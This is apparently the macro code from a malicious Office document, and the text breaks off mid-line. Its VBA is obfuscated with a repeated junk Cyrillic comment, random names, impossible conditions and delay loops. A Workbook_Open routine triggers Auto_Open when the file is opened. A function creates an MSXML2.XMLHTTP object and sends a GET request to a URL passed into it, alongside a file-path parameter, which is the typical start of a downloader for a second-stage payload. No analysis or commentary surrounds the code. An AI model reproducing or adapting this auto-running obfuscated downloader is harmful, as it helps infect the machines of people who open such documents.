'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next ZogxsVne 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: qNqQVjSa = qNqQVjSa + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim zoDZjcLU As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For zoDZjcLU = 0 To 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next zoDZjcLU 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim SefbNHZh As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For SefbNHZh = 0 To 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next SefbNHZh 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Auto_Open 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End Sub 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Sub Workbook_Open() 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 353982 = 353982 + 1 Then End 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 9515 < 39 Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim YnxHwLlg As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim euXLGRDi As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For euXLGRDi = 0 To 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next euXLGRDi 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер YnxHwLlg = 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While YnxHwLlg < 17 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim vYfnWqBt As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For vYfnWqBt = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next vYfnWqBt 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: YnxHwLlg = YnxHwLlg + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim BIbFgUeP As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For BIbFgUeP = 0 To 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next BIbFgUeP 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim plkkyvUH As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For plkkyvUH = 0 To 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next plkkyvUH 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("BUiYCPxY11") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If Len("gNNnOwoe7572") = Len("LfXgwJHu") Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim lrmBGtRK As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim YDaUdCRH As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For YDaUdCRH = 0 To 7 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next YDaUdCRH 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер lrmBGtRK = 7 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While lrmBGtRK < 21 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim TLEnfuqx As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For TLEnfuqx = 0 To 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next TLEnfuqx 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: lrmBGtRK = lrmBGtRK + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim jZCVavxV As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For jZCVavxV = 0 To 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next jZCVavxV 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim JvHACKHc As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For JvHACKHc = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next JvHACKHc 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("Error !!!") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim niEhjNle As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim nvHvpJHZ As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For nvHvpJHZ = 0 To 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next nvHvpJHZ 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер niEhjNle = 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While niEhjNle < 32 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim nmoNSJDJ As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For nmoNSJDJ = 0 To 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next nmoNSJDJ 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: niEhjNle = niEhjNle + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim StebLAwE As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For StebLAwE = 0 To 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next StebLAwE 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim SNwaxZlK As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For SNwaxZlK = 0 To 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next SNwaxZlK 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Auto_Open 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End Sub 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Function PZQGZXPGNNP(ByVal TWTUFQULVUY As String, ByVal DNZWAGZEAAU As String) As Boolean 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim RNNVUWVLESY As Object, PFTOSMQXJLP As Long, RVDHCWIGIMP As Long, ZEFGKWXQJQF() As Byte 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 323226 = 323226 + 1 Then End 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 9743 < 94 Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim peCJFnhG As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim qfGnuLBq As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For qfGnuLBq = 0 To 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next qfGnuLBq 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер peCJFnhG = 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While peCJFnhG < 35 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim cFvDnnWV As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For cFvDnnWV = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next cFvDnnWV 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: peCJFnhG = peCJFnhG + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim stZvZDCm As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For stZvZDCm = 0 To 7 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next stZvZDCm 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim qptjEVZa As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For qptjEVZa = 0 To 7 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next qptjEVZa 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("kraivfKU45") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If Len("jjjqrgVW7899") = Len("AGkUtrJk") Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim QCBUbMUw As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim FLyqeBVs As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For FLyqeBVs = 0 To 6 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next FLyqeBVs 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер QCBUbMUw = 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While QCBUbMUw < 22 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim jRJlFcHV As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For jRJlFcHV = 0 To 2 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next jRJlFcHV 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: QCBUbMUw = QCBUbMUw + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim jnqGYkJL As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For jnqGYkJL = 0 To 5 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next jnqGYkJL 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim HTdOaMLQ As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For HTdOaMLQ = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next HTdOaMLQ 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер MsgBox ("Error !!!") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер End If 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim mJbTodjr As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim XBtfJLFh As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For XBtfJLFh = 0 To 4 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next XBtfJLFh 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер mJbTodjr = 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While mJbTodjr < 81 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim vSEEHhke As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For vSEEHhke = 0 To 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next vSEEHhke 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: mJbTodjr = mJbTodjr + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim BUvBgKXD As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For BUvBgKXD = 0 To 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next BUvBgKXD 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim DBbKGCSB As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For DBbKGCSB = 0 To 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next DBbKGCSB 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Set RNNVUWVLESY = CreateObject("MSXML2.XMLHTTP") 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер RNNVUWVLESY.Open "GET", TWTUFQULVUY, False 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 295453 = 295453 + 1 Then End 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер If 6516 < 99 Then 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim wDDDCpIP As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim xWKmgzYS As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For xWKmgzYS = 0 To 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next xWKmgzYS 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер wDDDCpIP = 8 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Do While wDDDCpIP < 52 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim cHsWJeEa As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For cHsWJeEa = 0 To 9 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next cHsWJeEa 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents: wDDDCpIP = wDDDCpIP + 1 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim vSTlPCRX As Integer 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер For vSTlPCRX = 0 To 3 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер DoEvents 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Next vSTlPCRX 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Loop 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер 'ИГШра80р4 9рШ раишзукр пзрк зщу9рШЩР ишщуикщп лршщиОИ дои клуп ршщиДЛ иекркер Dim AlfDmysR As Integer 'ИГШра80р4 9рШ 